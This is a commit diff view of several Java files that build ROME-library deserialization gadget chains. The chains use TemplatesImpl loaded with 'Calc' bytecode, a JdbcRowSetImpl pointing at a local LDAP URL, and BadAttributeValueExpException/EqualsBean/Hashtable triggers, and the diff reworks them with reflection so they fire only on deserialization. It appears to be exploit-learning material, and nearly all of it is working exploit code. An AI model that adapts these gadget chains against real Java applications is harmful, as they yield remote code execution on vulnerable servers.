| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -7,8 +7,10 @@ | |||
| 7 | 7 | import javassist.ClassPool; | |
| 8 | 8 | import javassist.CtClass; | |
| 9 | 9 | import javassist.CtConstructor; | |
| 10 | + import org.apache.commons.collections4.functors.ConstantTransformer; | ||
| 10 | 11 | ||
| 11 | 12 | import javax.management.BadAttributeValueExpException; | |
| 13 | + import javax.xml.transform.Templates; | ||
| 12 | 14 | import java.io.*; | |
| 13 | 15 | import java.lang.reflect.Field; | |
| 14 | 16 | import java.util.HashMap; | |
@@ -24,11 +26,15 @@ public static void main(String[] args) throws Exception{ | |||
| 24 | 26 | byte[] evil = getTemplatesImpl("Calc"); | |
| 25 | 27 | byte[][] codes = {evil}; | |
| 26 | 28 | byteCodesField.set(templates,codes); | |
| 27 | - // templates.newTransformer(); | ||
| 28 | - ToStringBean toStringBean = new ToStringBean(c,templates); | ||
| 29 | - // toStringBean.toString(); | ||
| 30 | - Class toStringBeanEvil = toStringBean.getClass(); | ||
| 31 | - BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean); | ||
| 29 | + | ||
| 30 | + ToStringBean toStringBean = new ToStringBean(Templates.class,templates); | ||
| 31 | + | ||
| 32 | + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); | ||
| 33 | + Class Bv = Class.forName("javax.management.BadAttributeValueExpException"); | ||
| 34 | + Field val = Bv.getDeclaredField("val"); | ||
| 35 | + val.setAccessible(true); | ||
| 36 | + val.set(badAttributeValueExpException,toStringBean); | ||
| 37 | + | ||
| 32 | 38 | serialize(badAttributeValueExpException); | |
| 33 | 39 | unserialize("ser.bin"); | |
| 34 | 40 | } | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -7,7 +7,9 @@ | |||
| 7 | 7 | import javassist.ClassPool; | |
| 8 | 8 | import javassist.CtClass; | |
| 9 | 9 | import javassist.CtConstructor; | |
| 10 | + import org.apache.commons.collections4.functors.ConstantTransformer; | ||
| 10 | 11 | ||
| 12 | + import javax.xml.transform.Templates; | ||
| 11 | 13 | import java.io.*; | |
| 12 | 14 | import java.lang.reflect.Field; | |
| 13 | 15 | import java.util.HashMap; | |
@@ -25,12 +27,17 @@ public static void main(String[] args) throws Exception{ | |||
| 25 | 27 | byte[][] codes = {evil}; | |
| 26 | 28 | byteCodesField.set(templates,codes); | |
| 27 | 29 | // templates.newTransformer(); | |
| 28 | - ToStringBean toStringBean = new ToStringBean(c,templates); | ||
| 30 | + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); | ||
| 29 | 31 | // toStringBean.toString(); | |
| 30 | 32 | Class toStringBeanEvil = toStringBean.getClass(); | |
| 31 | 33 | EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean); | |
| 32 | 34 | Hashtable hashtable= new Hashtable(); | |
| 33 | 35 | hashtable.put(equalsBean,"Drunkbaby"); | |
| 36 | + | ||
| 37 | + Field field = toStringBean.getClass().getDeclaredField("_obj"); | ||
| 38 | + field.setAccessible(true); | ||
| 39 | + field.set(toStringBean,templates); | ||
| 40 | + | ||
| 34 | 41 | serialize(hashtable); | |
| 35 | 42 | unserialize("ser.bin"); | |
| 36 | 43 | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -3,7 +3,9 @@ | |||
| 3 | 3 | import com.sun.rowset.JdbcRowSetImpl; | |
| 4 | 4 | import com.sun.syndication.feed.impl.EqualsBean; | |
| 5 | 5 | import com.sun.syndication.feed.impl.ToStringBean; | |
| 6 | + import org.apache.commons.collections4.functors.ConstantTransformer; | ||
| 6 | 7 | ||
| 8 | + import javax.xml.transform.Templates; | ||
| 7 | 9 | import java.io.*; | |
| 8 | 10 | import java.lang.reflect.Field; | |
| 9 | 11 | import java.util.HashMap; | |
@@ -16,13 +18,15 @@ public static void main(String[] args) throws Exception { | |||
| 16 | 18 | String url = "ldap://127.0.0.1:1230/ExportObject"; | |
| 17 | 19 | jdbcRowSet.setDataSourceName(url); | |
| 18 | 20 | ||
| 19 | - | ||
| 20 | - ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); | ||
| 21 | + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); | ||
| 21 | 22 | EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); | |
| 22 | 23 | ||
| 23 | 24 | HashMap<Object,Object> hashMap = new HashMap<>(); | |
| 24 | 25 | hashMap.put(equalsBean, "123"); | |
| 25 | 26 | ||
| 27 | + Field field = toStringBean.getClass().getDeclaredField("_obj"); | ||
| 28 | + field.setAccessible(true); | ||
| 29 | + field.set(toStringBean,jdbcRowSet); | ||
| 26 | 30 | serialize(hashMap); | |
| 27 | 31 | unserialize("ser.bin"); | |
| 28 | 32 | } | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -28,7 +28,7 @@ public static void main(String[] args) throws Exception{ | |||
| 28 | 28 | byte[] evil = getTemplatesImpl("Calc"); | |
| 29 | 29 | byte[][] codes = {evil}; | |
| 30 | 30 | byteCodesField.set(templates,codes); | |
| 31 | - // templates.newTransformer(); | ||
| 31 | + | ||
| 32 | 32 | ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); | |
| 33 | 33 | ObjectBean equalsBean = new ObjectBean(ToStringBean.class,toStringBean); | |
| 34 | 34 | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments